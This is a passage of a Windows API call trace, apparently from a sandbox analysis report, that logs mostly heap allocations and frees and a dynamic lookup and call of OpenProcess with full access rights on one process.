lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783f8 | out: hHeap=0xe80000) returned 1 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7778 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078440 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9e8 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x84) returned 0xefcfd0 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10783e0 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078410 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784d0 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10784b8 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078428 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782f0 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078458 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078380 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783f8 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10784e8 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078518 [0168.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078548 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078530 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078320 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078560 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078578 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078590 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10785a8 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782c0 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078398 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10782d8 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078308 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078338 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078350 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078368 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078620 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078698 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078740 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078680 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078758 [0168.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078638 [0168.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10788a8 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10785d8 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078830 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078650 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10785f0 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078770 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10787b8 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10786f8 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078668 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10787d0 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078608 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10786b0 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10786c8 [0168.262] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078788 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10787a0 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10786e0 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078800 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10787e8 [0168.263] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078710 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078860 [0168.263] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078728 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078818 [0168.263] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078848 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.263] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078878 [0168.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078890 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10785c0 [0168.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078b30 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078b90 [0168.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078ba8 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078998 [0168.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078aa0 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078a28 [0168.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.264] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0168.265] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0168.265] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078ab8 [0168.265] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.265] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc38 [0168.266] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078908 [0168.266] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc38 | out: hHeap=0xe80000) returned 1 [0168.266] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078908 | out: hHeap=0xe80000) returned 1 [0168.313] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf998 [0168.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078b78 [0168.313] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0168.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10789b0 [0168.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa88 [0168.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb28 [0168.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10788c0 [0168.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10789b0 | out: hHeap=0xe80000) returned 1 [0168.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa88 | out: hHeap=0xe80000) returned 1 [0168.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788c0 | out: hHeap=0xe80000) returned 1 [0168.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb28 | out: hHeap=0xe80000) returned 1 [0168.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba688 [0168.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb78 [0168.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10788c0 [0168.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc48 [0168.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafaf8 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078968 [0168.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788c0 | out: hHeap=0xe80000) returned 1 [0168.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc48 | out: hHeap=0xe80000) returned 1 [0168.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078968 | out: hHeap=0xe80000) returned 1 [0168.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafaf8 | out: hHeap=0xe80000) returned 1 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafbd8 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078920 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb08 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc38 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078968 [0168.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078920 | out: hHeap=0xe80000) returned 1 [0168.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb08 | out: hHeap=0xe80000) returned 1 [0168.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078968 | out: hHeap=0xe80000) returned 1 [0168.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc38 | out: hHeap=0xe80000) returned 1 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa78 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10789b0 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa68 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa58 [0168.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078908 [0168.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10789b0 | out: hHeap=0xe80000) returned 1 [0168.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa68 | out: hHeap=0xe80000) returned 1 [0168.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078908 | out: hHeap=0xe80000) returned 1 [0168.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa58 | out: hHeap=0xe80000) returned 1 [0168.316] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0168.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078b48 [0168.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafbe8 [0168.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OpenProcess", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0168.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078a40 [0168.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OpenProcess", cchWideChar=12, lpMultiByteStr=0x1078a40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OpenProcess", lpUsedDefaultChar=0x0) returned 12 [0168.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078a40 | out: hHeap=0xe80000) returned 1 [0168.317] GetProcAddress (hModule=0x770a0000, lpProcName="OpenProcess") returned 0x770b8bf0 [0168.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b48 | out: hHeap=0xe80000) returned 1 [0168.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafbe8 | out: hHeap=0xe80000) returned 1 [0168.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0168.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc48 [0168.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafbc8 [0168.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafba8 [0168.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc48 | out: hHeap=0xe80000) returned 1 [0168.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafbc8 | out: hHeap=0xe80000) returned 1 [0168.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafba8 | out: hHeap=0xe80000) returned 1 [0168.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0168.318] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x123c) returned 0x2ac [0168.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafba8 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xee5ab0 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10788c0 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078ae8 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078a40 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078a58 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb58 [0168.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078a58 | out: hHeap=0xe80000) returned 1 [0168.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb58 | out: hHeap=0xe80000) returned 1 [0168.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078a40 | out: hHeap=0xe80000) returned 1 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078968 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10788d8 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078908 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb88 [0168.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078908 | out: hHeap=0xe80000) returned 1 [0168.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb88 | out: hHeap=0xe80000) returned 1 [0168.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788d8 | out: hHeap=0xe80000) returned 1 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078908 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10789c8 [0168.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078980 [0168.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb18 [0168.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078980 | out: hHeap=0xe80000) returned 1 [0168.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb18 | out: hHeap=0xe80000) returned 1 [0168.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10789c8 | out: hHeap=0xe80000) returned 1 [0168.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10788d8 [0168.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10789b0 | out: hHeap=0xe80000) returned 1 [0168.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafab8 | out: hHeap=0xe80000) returned 1 [0168.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b48 | out: hHeap=0xe80000) returned 1 [0168.320] FreeLibrary (hLibModule=0x770a0000) returned 1 [0168.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb78 | out: hHeap=0xe80000) returned 1 [0168.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafbd8 | out: hHeap=0xe80000) returned 1 [0168.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa78 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b78 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10787e8 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078800 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078860 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078710 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078818 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078728 | out: hHeap=0xe80000) returned 1 [0168.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078878 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078848 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785c0 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078890 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b90 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b30 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078998 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ba8 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078a28 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078aa0 | out: hHeap=0xe80000) returned 1 [0168.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ab8 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783e0 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784d0 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078410 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784b8 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782f0 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078428 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078458 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783f8 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078380 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784e8 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078518 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078530 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078548 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078320 | out: hHeap=0xe80000) returned 1 [0168.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078578 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078560 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078590 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782c0 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785a8 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078308 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782d8 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078338 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078368 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078350 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078620 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078740 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078698 | out: hHeap=0xe80000) returned 1 [0168.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078680 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078638 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078758 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788a8 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078830 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785d8 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078650 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078770 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785f0 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10787b8 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078668 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10786f8 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10787d0 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078608 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, 